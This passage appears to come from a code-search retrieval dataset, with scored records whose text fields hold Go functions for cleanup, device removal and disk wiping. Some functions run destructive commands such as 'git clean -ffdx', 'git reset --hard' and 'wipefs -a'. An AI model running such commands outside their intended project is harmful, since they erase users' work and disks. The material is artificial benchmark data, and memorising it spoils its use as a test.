\"201\"\n\tappActivityLogs = append(appActivityLogs, \"Remove \"+device+\" to AMS resource [\"+statusCode+\"]\")\n\tw.WriteHeader(http.StatusOK)\n}", "title": "" }, { "docid": "5f14ae3aa9be3ea5d152fbe2dde11e0e", "score": "0.44633007", "text": "func (t *GuiFolder) Cleanup(a *app.App) {}", "title": "" }, { "docid": "fbf49c8a419550c163458b6982aa0089", "score": "0.44508323", "text": "func (f *OpenOltFlowMgr) clearResources(ctx context.Context, intfID uint32, onuID int32, uniID int32,\n\tflowID uint64, portNum uint32, tpID uint32, sendDeleteGemRequest bool) error {\n\n\tlogger.Debugw(ctx, \"clearing-resources\", log.Fields{\"intfID\": intfID, \"onuID\": onuID, \"uniID\": uniID, \"tpID\": tpID})\n\n\tuni := getUniPortPath(f.deviceHandler.device.Id, intfID, onuID, uniID)\n\ttpPath := f.getTPpath(ctx, uni, tpID)\n\tlogger.Debugw(ctx, \"getting-techprofile-instance-for-subscriber\",\n\t\tlog.Fields{\n\t\t\t\"tpPath\": tpPath,\n\t\t\t\"device-id\": f.deviceHandler.device.Id})\n\n\ttechprofileInst, err := f.techprofile.GetTPInstance(ctx, tpPath)\n\tif err != nil || techprofileInst == nil {\n\t\t// The child device is possibly deleted which in turn had cleaned up all the resources (including tp instances), check..\n\t\tchildDevice, _ := f.getChildDevice(ctx, intfID, uint32(onuID)) // do not care about the error code\n\t\tif childDevice == nil {\n\t\t\t// happens when subscriber un-provision is immediately followed by child device delete\n\t\t\t// before all the flow removes are processed, the child device delete has already arrived and cleaned up all the resources\n\t\t\tlogger.Warnw(ctx, \"child device and its associated resources are already cleared\", log.Fields{\"intfID\": intfID, \"onuID\": onuID, \"uniID\": uniID})\n\t\t\treturn nil\n\t\t}\n\t\t// If the tech profile is not found, since we want to delete it, there is no need to throw an error\n\t\t_ = olterrors.NewErrNotFound(\"tech-profile-in-kv-store\",\n\t\t\tlog.Fields{\n\t\t\t\t\"tp-id\": tpID,\n\t\t\t\t\"path\": tpPath}, err).Log()\n\t\treturn nil\n\t}\n\n\tvar allGemPortsFree = true\n\tswitch techprofileInst := techprofileInst.(type) {\n\tcase *tp_pb.TechProfileInstance:\n\t\tfor _, gemPort := range techprofileInst.UpstreamGemPortAttributeList {\n\t\t\tgemPortID := gemPort.GemportId\n\t\t\tflowIDs, err := f.resourceMgr.GetFlowIDsForGem(ctx, gemPortID)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tused := false\n\t\t\tfor _, id := range flowIDs {\n\t\t\t\tif flowID != id {\n\t\t\t\t\tused = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif used {\n\t\t\t\tfor i, flowIDinMap := range flowIDs {\n\t\t\t\t\tif flowIDinMap == flowID {\n\t\t\t\t\t\tflowIDs = append(flowIDs[:i], flowIDs[i+1:]...)\n\t\t\t\t\t\tif err := f.resourceMgr.UpdateFlowIDsForGem(ctx, gemPortID, flowIDs); err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlogger.Debugw(ctx, \"gem-port-id-is-still-used-by-other-flows\",\n\t\t\t\t\tlog.Fields{\n\t\t\t\t\t\t\"gemport-id\": gemPortID,\n\t\t\t\t\t\t\"usedByFlows\": flowIDs,\n\t\t\t\t\t\t\"currentFlow\": flowID,\n\t\t\t\t\t\t\"device-id\": f.deviceHandler.device.Id})\n\t\t\t\tallGemPortsFree = false\n\t\t\t}\n\t\t}\n\t\tif !allGemPortsFree {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tlogger.Debugw(ctx, \"all-gem-ports-are-free-to-be-deleted\", log.Fields{\"intfID\": intfID, \"onuID\": onuID, \"uniID\": uniID, \"tpID\": tpID})\n\n\t// Free TPInstance, TPID, GemPorts and Traffic Queues. AllocID and Schedulers will be cleared later only if they are not shared across all the UNIs\n\tswitch techprofileInst := techprofileInst.(type) {\n\tcase *tp_pb.TechProfileInstance:\n\t\tfor _, gemPort := range techprofileInst.UpstreamGemPortAttributeList {\n\t\t\tgemPortID := gemPort.GemportId\n\t\t\t_ = f.resourceMgr.RemoveGemFromOnuGemInfo(ctx, uint32(onuID), gemPortID) // ignore error and proceed.\n\n\t\t\tif err := f.resourceMgr.DeleteFlowIDsForGem(ctx, gemPortID); err != nil {\n\t\t\t\tlogger.Errorw(ctx, \"error-removing-flow-ids-of-gem-port\",\n\t\t\t\t\tlog.Fields{\n\t\t\t\t\t\t\"err\": err,\n\t\t\t\t\t\t\"intf\": intfID,\n\t\t\t\t\t\t\"onu-id\": onuID,\n\t\t\t\t\t\t\"uni-id\": uniID,\n\t\t\t\t\t\t\"device-id\": f.deviceHandler.device.Id,\n\t\t\t\t\t\t\"gemport-id\": gemPortID})\n\t\t\t}\n\n\t\t}\n\t\t// Remove queues at OLT in upstream and downstream direction\n\t\tschedQueue := schedQueue{direction: tp_pb.Direction_UPSTREAM, intfID: intfID, onuID: uint32(onuID), uniID: uint32(uniID), tpID: tpID, uniPort: portNum, tpInst: techprofileInst}\n\t\tif err := f.RemoveQueues(ctx, schedQueue); err != nil {\n\t\t\tlogger.Warn(ctx, err)\n\t\t}\n\t\tschedQueue.direction = tp_pb.Direction_DOWNSTREAM\n\t\tif err := f.RemoveQueues(ctx, schedQueue); err != nil {\n\t\t\tlogger.Warn(ctx, err)\n\t\t}\n\t}\n\n\tswitch techprofileInst := techprofileInst.(type) {\n\tcase *tp_pb.TechProfileInstance:\n\t\t// Proceed to free allocid and cleanup schedulers (US/DS) if no other references are found for this TP across all the UNIs on the ONU\n\t\tschedQueue := schedQueue{direction: tp_pb.Direction_UPSTREAM, intfID: intfID, onuID: uint32(onuID), uniID: uint32(uniID), tpID: tpID, uniPort: portNum, tpInst: techprofileInst}\n\t\tallocExists := f.isAllocUsedByAnotherUNI(ctx, schedQueue)\n\t\tif !allocExists {\n\t\t\t// all alloc object references removed, remove upstream scheduler\n\t\t\tif KvStoreMeter, _ := f.resourceMgr.GetMeterInfoForOnu(ctx, \"upstream\", uint32(onuID), uint32(uniID), tpID); KvStoreMeter != nil {\n\t\t\t\tif err := f.RemoveScheduler(ctx, schedQueue); err != nil {\n\t\t\t\t\tlogger.Warn(ctx, err)\n\t\t\t\t}\n\t\t\t}\n\t\t\t// remove alloc id from resource pool by setting the 'freeFromResourcePool' to true\n\t\t\tf.resourceMgr.FreeAllocID(ctx, uint32(onuID), uint32(uniID), techprofileInst.UsScheduler.AllocId, true)\n\t\t} else {\n\t\t\t// just remove meter reference for the upstream direction for the current pon/onu/uni\n\t\t\t// The upstream scheduler, alloc id and meter-reference for the last remaining pon/onu/uni will be removed when no other alloc references that TP\n\t\t\tif err := f.removeMeterReference(ctx, \"upstream\", schedQueue); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// setting 'freeFromResourcePool' to false in resourceMgr.FreeAllocID will only remove alloc-id data for the given pon/onu/uni\n\t\t\t// but still preserve it on the resource pool.\n\t\t\tf.resourceMgr.FreeAllocID(ctx, uint32(onuID), uint32(uniID), techprofileInst.UsScheduler.AllocId, false)\n\t\t}\n\n\t\t// Downstream scheduler removal is simple, just invoke RemoveScheduler without all the complex handling we do for the alloc object.\n\t\tschedQueue.direction = tp_pb.Direction_DOWNSTREAM\n\t\tif KvStoreMeter, _ := f.resourceMgr.GetMeterInfoForOnu(ctx, \"downstream\", uint32(onuID), uint32(uniID), tpID); KvStoreMeter != nil {\n\t\t\tif err := f.RemoveScheduler(ctx, schedQueue); err != nil {\n\t\t\t\tlogger.Warn(ctx, err)\n\t\t\t}\n\t\t}\n\tcase *tp_pb.EponTechProfileInstance:\n\t\t// Delete the TCONT on the ONU.\n\t\tif err := f.sendDeleteTcontToChild(ctx, intfID, uint32(onuID), uint32(uniID), techprofileInst.AllocId, tpPath); err != nil {\n\t\t\tlogger.Errorw(ctx, \"error-processing-delete-tcont-towards-onu\",\n\t\t\t\tlog.Fields{\n\t\t\t\t\t\"intf\": intfID,\n\t\t\t\t\t\"onu-id\": onuID,\n\t\t\t\t\t\"uni-id\": uniID,\n\t\t\t\t\t\"device-id\": f.deviceHandler.device.Id,\n\t\t\t\t\t\"alloc-id\": techprofileInst.AllocId,\n\t\t\t\t\t\"error\": err})\n\t\t}\n\t\tf.resourceMgr.FreeAllocID(ctx, uint32(onuID), uint32(uniID), techprofileInst.AllocId, true)\n\t\tif err := f.resourceMgr.RemoveTechProfileIDForOnu(ctx, uint32(onuID), uint32(uniID), tpID); err != nil {\n\t\t\tlogger.Warn(ctx, err)\n\t\t}\n\t\tif err := f.DeleteTechProfileInstance(ctx, intfID, uint32(onuID), uint32(uniID), \"\", tpID); err != nil {\n\t\t\tlogger.Warn(ctx, err)\n\t\t}\n\tdefault:\n\t\tlogger.Errorw(ctx, \"error-unknown-tech\",\n\t\t\tlog.Fields{\n\t\t\t\t\"techprofileInst\": techprofileInst})\n\t}\n\n\t// Free TPInstance, TPID, GemPorts and Traffic Queues. AllocID and Schedulers will be cleared later only if they are not shared across all the UNIs\n\tswitch techprofileInst := techprofileInst.(type) {\n\tcase *tp_pb.TechProfileInstance:\n\t\tfor _, gemPort := range techprofileInst.UpstreamGemPortAttributeList {\n\t\t\t// Delete the gem port on the ONU.\n\t\t\tif sendDeleteGemRequest {\n\t\t\t\tif err := f.sendDeleteGemPortToChild(ctx, intfID, uint32(onuID), uint32(uniID), gemPort.GemportId, tpPath); err != nil {\n\t\t\t\t\tlogger.Errorw(ctx, \"error-processing-delete-gem-port-towards-onu\",\n\t\t\t\t\t\tlog.Fields{\n\t\t\t\t\t\t\t\"err\": err,\n\t\t\t\t\t\t\t\"intfID\": intfID,\n\t\t\t\t\t\t\t\"onu-id\": onuID,\n\t\t\t\t\t\t\t\"uni-id\": uniID,\n\t\t\t\t\t\t\t\"device-id\": f.deviceHandler.device.Id,\n\t\t\t\t\t\t\t\"gemport-id\": gemPort.GemportId})\n\t\t\t\t}\n\t\t\t\tf.resourceMgr.FreeGemPortID(ctx, uint32(onuID), uint32(uniID), gemPort.GemportId)\n\t\t\t}\n\t\t}\n\t\t//Delete the tp instance and the techprofileid for onu at the end\n\t\tif err := f.DeleteTechProfileInstance(ctx, intfID, uint32(onuID), uint32(uniID), \"\", tpID); err != nil {\n\t\t\tlogger.Warn(ctx, err)\n\t\t}\n\t\tif err := f.resourceMgr.RemoveTechProfileIDForOnu(ctx, uint32(onuID), uint32(uniID), tpID); err != nil {\n\t\t\tlogger.Warn(ctx, err)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ec301081893922de2c063abd1279bee1", "score": "0.4444222", "text": "func (c *CMManager) Clean() error {\n\tc.logger.Info(\"deleting temporary template configMaps\")\n\tif err := c.cmclient.DeleteCollection(context.TODO(),\n\t\tmetav1.DeleteOptions{},\n\t\tmetav1.ListOptions{LabelSelector: fields.Set{\n\t\t\tcreateByRehearse: \"true\",\n\t\t\trehearseLabelPull: strconv.Itoa(c.prNumber),\n\t\t}.AsSelector().String()}); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "db446626d311200cd17b906726809017", "score": "0.4444075", "text": "func (c *AppSpec) Cleanup() {\n}", "title": "" }, { "docid": "2208428726c89119614685cebe2f220d", "score": "0.44439128", "text": "func (r *Runner) Clean(ctx context.Context) {\n\tdefer lg.Scope(r.w.Log, \"clean\")()\n\tr.GoExec(ctx, \"clean\", \"-cache\", \"-testcache\", \"-modcache\")\n\tr.w.Clean()\n}", "title": "" }, { "docid": "09930712c303259fe1665b5bce46456f", "score": "0.44092295", "text": "func Cleanup() error {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tif registered == nil {\n\t\treturn nil\n\t}\n\t// Run all registered cleanup funcs\n\terrs := []string{}\n\tfor _, f := range registered {\n\t\tif err := f(); err != nil {\n\t\t\terrs = append(errs, err.Error())\n\t\t}\n\t}\n\t// Clear registered cleanup funcs\n\tregistered = nil\n\tif len(errs) > 0 {\n\t\treturn errors.New(fmt.Sprintf(\"error(s) occured during core system library cleanup: %v\",\n\t\t\tstrings.Join(errs, \"\\n\")))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "981562108039d54c155c258fd81457c7", "score": "0.44033527", "text": "func Clean() {\n\tsh.Run(\"git\", \"clean\", \"-ffdx\")\n\tsh.Run(\"git\", \"reset\", \"--hard\")\n}", "title": "" }, { "docid": "6715eef473073bce14774f6885152ada", "score": "0.440081", "text": "func forceCleanIfNeeded(ctx context.Context, contextSpec *fintpb.Context, platform string) (err error) {\n\tif _, err := os.Stat(contextSpec.BuildDir); os.IsNotExist(err) {\n\t\t// no need to clean anything if there's nothing there\n\t\treturn nil\n\t}\n\tscriptRunner := &subprocess.Runner{}\n\tscriptRunner.Dir = contextSpec.CheckoutDir\n\treturn scriptRunner.Run(ctx, []string{\n\t\tfilepath.Join(append([]string{contextSpec.CheckoutDir}, vendoredPythonScriptPath...)...),\n\t\tfilepath.Join(append([]string{contextSpec.CheckoutDir}, forceCleanScript...)...),\n\t\t\"--gn-bin\",\n\t\tthirdPartyPrebuilt(contextSpec.CheckoutDir, platform, \"gn\"),\n\t\t\"--checkout-dir\",\n\t\tcontextSpec.CheckoutDir,\n\t\t\"--build-dir\",\n\t\tcontextSpec.BuildDir,\n\t}, subprocess.RunOptions{})\n}", "title": "" }, { "docid": "b431d765dbca29e3c7b2bbc9e4caa580", "score": "0.43964696", "text": "func (d *Driver) Cleanup() error {\n\t//ganesh\n\t//return mount.Unmount(d.home)\n\treturn mount.RecursiveUnmount(d.home)\n}", "title": "" }, { "docid": "f0a74733a86ca770a01055d6dec10b54", "score": "0.43929633", "text": "func (a *MeActionsApiService) MeManagedDevicesWipe(ctx _context.Context, managedDeviceId string, inlineObject301 InlineObject301) (*_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/me/managedDevices({managedDevice-id})/wipe\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"managedDevice-id\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", managedDeviceId)), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &inlineObject301\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 0 {\n\t\t\tvar v OdataError\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\treturn localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "c81d95d7145344a281a2054cec6ca377", "score": "0.4391841", "text": "func (m *RepairInvoiceMutation) ClearDevice() {\n\tm.cleareddevice = true\n}", "title": "" }, { "docid": "25579ae4f861ad25a00ca3f3fb21be1c", "score": "0.43762076", "text": "func FlushNVMeDevice(ctx context.Context, device string) error {\n\tLogc(ctx).Debug(\">>>> nvme_windows.FlushNVMeDevice\")\n\tdefer Logc(ctx).Debug(\"<<<< nvme_windows.FlushNVMeDevice\")\n\treturn errors.UnsupportedError(\"FlushNVMeDevice is not supported for windows\")\n}", "title": "" }, { "docid": "77aabb9914462845324bb58155cfb79d", "score": "0.43703523", "text": "func (sm *sriovManager) cleanup() error {\n\tpluginEndpoint := filepath.Join(pluginapi.DevicePluginPath, sm.socketFile)\n\tif err := os.Remove(pluginEndpoint); err != nil && !os.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a7136ede83acb015ca192c1b60a06653", "score": "0.43572578", "text": "func (s *minioStorage) Clean(ctx context.Context, ns string) error {\n\treturn nil\n}", "title": "" }, { "docid": "04f6b69586afd6b3151fc0afbcb0f475", "score": "0.43414313", "text": "func DeleteAllDevices() string {\n\turl := UrlHTTP + \"/devices\"\n\tresp, _ := netClient.Get(url)\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\n\tvar devices []models.Device\n\tjson.Unmarshal([]byte(body), &devices)\n\ts := \"\"\n\tfor i := 0; i < len(devices); i++ {\n\t\ts = s + DeleteDevice(devices[i].ID) + \"\\n\\n\"\n\t}\n\n\treturn s\n}", "title": "" }, { "docid": "87f22487d2dbd701613059850c860cb5", "score": "0.4337557", "text": "func (o *Options) cleanUp() {\n\t//_ = os.Remove(o.SourcePath + \"/backend.azurerm.tf\")\n\t_ = os.Remove(o.DataDir + \"/\" + o.StateName + \".tfstate\")\n\t//_ = os.Remove(o.DataDir + \"/terraform.tfstate\")\n}", "title": "" }, { "docid": "59e0382b7bc39944ccc65ba855fcba08", "score": "0.43336073", "text": "func (pr *PodRequest) PlatformSpecificCleanup() error {\n\tnamespace := pr.PodNamespace\n\tpodName := pr.PodName\n\tif namespace == \"\" || podName == \"\" {\n\t\tklog.Warningf(\"Cleanup failed, required CNI variable missing from args: %v\", pr)\n\t\treturn nil\n\t}\n\n\tendpointName := fmt.Sprintf(\"%s_%s\", namespace, podName)\n\tovsArgs := []string{\n\t\t\"del-port\", \"br-int\", endpointName,\n\t}\n\tout, err := exec.Command(\"ovs-vsctl\", ovsArgs...).CombinedOutput()\n\tif err != nil && !strings.Contains(string(out), \"no port named\") {\n\t\t// DEL should be idempotent; don't return an error just log it\n\t\tklog.Warningf(\"Failed to delete OVS port %s: %v %q\", endpointName, err, string(out))\n\t}\n\tif err = deleteHNSEndpoint(endpointName); err != nil {\n\t\tklog.Warningf(\"Failed to delete HNSEndpoint %v: %v\", endpointName, err)\n\t}\n\t// TODO: uncomment when OVS QoS is supported on Windows\n\t// _ = clearPodBandwidth(args.ContainerID)\n\treturn nil\n}", "title": "" }, { "docid": "3749e723384f8c75ebbd9fdbdad39ff3", "score": "0.4332828", "text": "func (chapiClient *Client) DeleteDevice(device *model.Device) (err error) {\n\tlog.Tracef(\">>>>> DeleteDevice with %#v\", device)\n\tdefer log.Trace(\"<<<<< DeleteDevice\")\n\n\t// fetch host ID\n\terr = chapiClient.cacheHostID()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tserialNumber := device.SerialNumber\n\tdeviceURI := fmt.Sprintf(DeviceURIfmt, fmt.Sprintf(HostURIfmt, chapiClient.hostID), serialNumber)\n\n\tvar deviceResp model.Device\n\tvar errResp *ErrorResponse\n\tvar chapiResp Response\n\tchapiResp.Data = &deviceResp\n\tchapiResp.Err = &errResp\n\t_, err = chapiClient.client.DoJSON(&connectivity.Request{Action: \"DELETE\", Path: deviceURI, Header: chapiClient.header, Payload: device, Response: &chapiResp, ResponseError: &chapiResp})\n\tif err != nil {\n\t\tif errResp != nil {\n\t\t\tlog.Errorf(\"DeleteDevice Err info %s\", errResp.Info)\n\t\t\treturn errors.New(errResp.Info)\n\t\t}\n\t\tlog.Errorf(\"DeleteDevice Err :%s\", err.Error())\n\t\treturn err\n\t}\n\treturn err\n}", "title": "" }, { "docid": "8c4fcfb0f5cca791390bee132370008a", "score": "0.43301523", "text": "func Clean() error {\n\treturn sh.Rm(\"dist\")\n}", "title": "" }, { "docid": "15e702cdb4fbb1111be77ec7881e8ea6", "score": "0.4327568", "text": "func (device *Device) Wipe() error {\n\tif device.path == \"\" {\n\t\treturn fmt.Errorf(\"device path was empty: %w\", errInput)\n\t}\n\t// If the device has mounted partitions, unmount them first.\n\tif err := device.Dismount(); err != nil {\n\t\treturn fmt.Errorf(\"Unmount() for %q returned %v, %w\", device.Identifier(), err, errDisk)\n\t}\n\t// Perform the wipe\n\targs := []string{\"wipefs\", \"-a\", device.path}\n\tif err := sudoCmd(args...); err != nil {\n\t\treturn fmt.Errorf(\"sudoCmd(%v) returned %v: %w\", args, err, errWipe)\n\t}\n\n\t// Update the receiver (device).\n\tdevice.partStyle = glstor.UnknownStyle\n\tdevice.partitions = []Partition{}\n\n\treturn nil\n}", "title": "" }, { "docid": "acea5fd2a28d3a8cf9a0bc2f05f82e07", "score": "0.43263078", "text": "func (m *DeviceMutation) ClearInPlatform() {\n\tm.clearedin_platform = true\n}", "title": "" }, { "docid": "1e437af7509236184d841e4843efe5f0", "score": "0.4325305", "text": "func (driver *RestDriver) RemoveDevice(deviceName string, protocols map[string]models.ProtocolProperties) error {\n\t// Nothing required to do for RemoveDevice since removed device will no longer be available\n\t// when data is posted to REST endpoint.\n\treturn nil\n}", "title": "" }, { "docid": "67e5b9bd0479daed57fb15fc7e9bc8cd", "score": "0.43221915", "text": "func Clean() {\n\tt := tasks.Start(\"🚿\", \"Cleaning\")\n\terr := os.RemoveAll(internal.BuildDir())\n\terrs := make([]error, 0, 1)\n\terrs = append(errs, err)\n\tfor _, task := range config.CleaningTasks {\n\t\tp := t.Part(task.Name)\n\t\tp.Starting().Done(task.Task())\n\t}\n\tt.End(errs...)\n}", "title": "" }, { "docid": "1f2fc36350bef189b8e884dd304e99c5", "score": "0.43214798", "text": "func (dp *directoryPath) CleanUp() {}", "title": "" }, { "docid": "f8ff758e3f8e8849881c5a22fe8ead0c", "score": "0.4319939", "text": "func (ui *TUI) Cleanup() {\n\tui.App.GetScreen().Fini() // Cleanup tcell screen's objects\n}", "title": "" }, { "docid": "88074561c67f0f436b67cfc25a42dc15", "score": "0.43180087", "text": "func BoilerCleanUp(ctx context.Context, exec boil.ContextExecutor) error {\n\tcount, err := bmodels.Products(qm.Where(\"id>?\", 20)).DeleteAll(ctx, exec)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not clean: %v\", err)\n\t}\n\tif shared.DebugMode {\n\t\tfmt.Printf(\"Sucessfully deleted %d rows\\n\", count)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "5a93e75fb7bebb2452894a2d9abe0c1b", "score": "0.43065476", "text": "func Win_delete_attr(win Win, winKeyval int) (Win, int) {\n\n\tcWin := C.MPI_Win(win)\n\terr := C.MPI_Win_delete_attr(cWin, C.int(winKeyval))\n\n\treturn Win(cWin), int(err)\n}", "title": "" }, { "docid": "4cb405d794934ffbf13e8757b21b6cda", "score": "0.43056116", "text": "func (f *Frontend) Cleanup() error {\n\t// FIXME should probably continue trying to clean up other components even\n\t// if one above it returns with error\n\n\tif f.Alerter != nil {\n\t\tif err := f.Alerter.Cleanup(); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to cleanup Alerter\")\n\t\t}\n\t}\n\n\tif f.AudioPlayer != nil {\n\t\tif err := f.AudioPlayer.Cleanup(); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to cleanup AudioPlayer\")\n\t\t}\n\t}\n\n\tif f.PowerManager != nil {\n\t\tif err := f.PowerManager.Cleanup(); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to cleanup PowerManager\")\n\t\t}\n\t}\n\n\tif f.DisplayManager != nil {\n\t\tif err := f.DisplayManager.Cleanup(); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to cleanup DisplayManager\")\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e71e8c30c4e224f06a852ea38ac5f183", "score": "0.42932945", "text": "func Clean() error {\n\tfmt.Println(\"Cleaning...\")\n\n\treturn filepath.Walk(\".\", func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif info.IsDir() && info.Name() == \"vendor\" {\n\t\t\treturn filepath.SkipDir\n\t\t}\n\t\tif info.IsDir() && info.Name() == \".terraform\" {\n\t\t\tos.RemoveAll(path)\n\t\t\tfmt.Printf(\"Removed \\\"%v\\\"\\n\", path)\n\t\t\treturn filepath.SkipDir\n\t\t}\n\t\tif !info.IsDir() && (info.Name() == \"terraform.tfstate\" ||\n\t\tinfo.Name() == \"terraform.tfplan\" ||\n\t\tinfo.Name() == \"terraform.tfstate.backup\") {\n\t\t\tos.Remove(path)\n\t\t\tfmt.Printf(\"Removed \\\"%v\\\"\\n\", path)\n\t\t}\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "4e23c75aebc8c556f482755e51e8a9f1", "score": "0.42918006", "text": "func (drv *ScaleDriver) RemoveDevice(deviceName string, protocols map[string]models.ProtocolProperties) error {\n\t// Nothing required to do for RemoveDevice since removed device will no longer be available\n\t// when data is posted to REST endpoint.\n\treturn nil\n}", "title": "" }, { "docid": "4e23c75aebc8c556f482755e51e8a9f1", "score": "0.42918006", "text": "func (drv *ScaleDriver) RemoveDevice(deviceName string, protocols map[string]models.ProtocolProperties) error {\n\t// Nothing required to do for RemoveDevice since removed device will no longer be available\n\t// when data is posted to REST endpoint.\n\treturn nil\n}", "title": "" }, { "docid": "82c8b5220d65c7b63ecc5437bbb9ed18", "score": "0.42912218", "text": "func (chapiClient *Client) UnmountDevice(volume *model.Volume) error {\n\tlog.Trace(\">>>>> UnmountDevice for volume \", volume.Name)\n\tdefer log.Trace(\"<<<<< UnmountDevice\")\n\n\tvar respMount []*model.Mount\n\terr := chapiClient.GetMounts(&respMount, volume.SerialNumber)\n\tif err != nil && !(strings.Contains(err.Error(), \"object was not found\")) {\n\t\treturn err\n\t}\n\tif respMount != nil {\n\t\tfor _, mount := range respMount {\n\t\t\tlog.Tracef(\"perform an unmount on the host with %#v\", mount)\n\t\t\tif mount.Device.SerialNumber == volume.SerialNumber {\n\t\t\t\tlog.Tracef(\"Device to ummount found :%s\", mount.Mountpoint)\n\t\t\t\tvar respMount model.Mount\n\t\t\t\terr = chapiClient.Unmount(mount, &respMount)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\t// TODO: This can be dangerous. Move this to docker plugin to be docker specific\n\t\t\t\t//3. delete the Mounpoint\n\t\t\t\t_, isDir, _ := util.FileExists(mount.Mountpoint)\n\t\t\t\tif isDir {\n\t\t\t\t\tos.RemoveAll(mount.Mountpoint)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "77c0a73ef1dbf5aeedbb358e39a3337a", "score": "0.42903653", "text": "func DeleteDevice(a, b, c string) string {\r\n\tfmt.Println(\"Deleting Device...\")\r\n\turl := []string{b, c}\r\n\treq, err := http.NewRequest(a, strings.Join(url, \"/\"), nil)\r\n\treq.Header.Set(\"X-Auth-Token\", \"wbrYPDxpE1y8bT95WknGyJgrwPdsteVw\")\r\n\treq.Header.Set(\"Content-Type\", \"application/json\")\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\tclient := &http.Client{}\r\n\tresp, err := client.Do(req)\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\tdefer resp.Body.Close()\r\n\treturn resp.Status\r\n}", "title": "" }, { "docid": "bda0f7f7c11d490e73a1a3ed77ca31ef", "score": "0.4289616", "text": "func Cleanup() error {\n\tif err := portaudio.Terminate(); err != nil {\n\t\treturn fmt.Errorf(\"failed to terminate portaudio: %w\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e29fa0bee86cf1dabf1e68db4879405a", "score": "0.42885104", "text": "func (t *PhysicsSpheres2) Cleanup(a *app.App) {}", "title": "" }, { "docid": "89bd2c5dd065d272b359067c8ab2b299", "score": "0.42866033", "text": "func (ts *TestSuite) Cleanup() {\n\tminioClient, _ := minio.New(ts.endpoint, ts.accessKeyID, ts.secretAccessKey, false)\n\tdoneCh := make(chan struct{})\n\tdefer close(doneCh)\n\tobjectCh := minioClient.ListObjectsV2(ts.bucketName, \"\", true, doneCh)\n\tfor object := range objectCh {\n\t\tts.Require().NoError(minioClient.RemoveObject(ts.bucketName, object.Key))\n\t}\n}", "title": "" }, { "docid": "b0d33c7454a883f1ba7d2e9f8f1ec03c", "score": 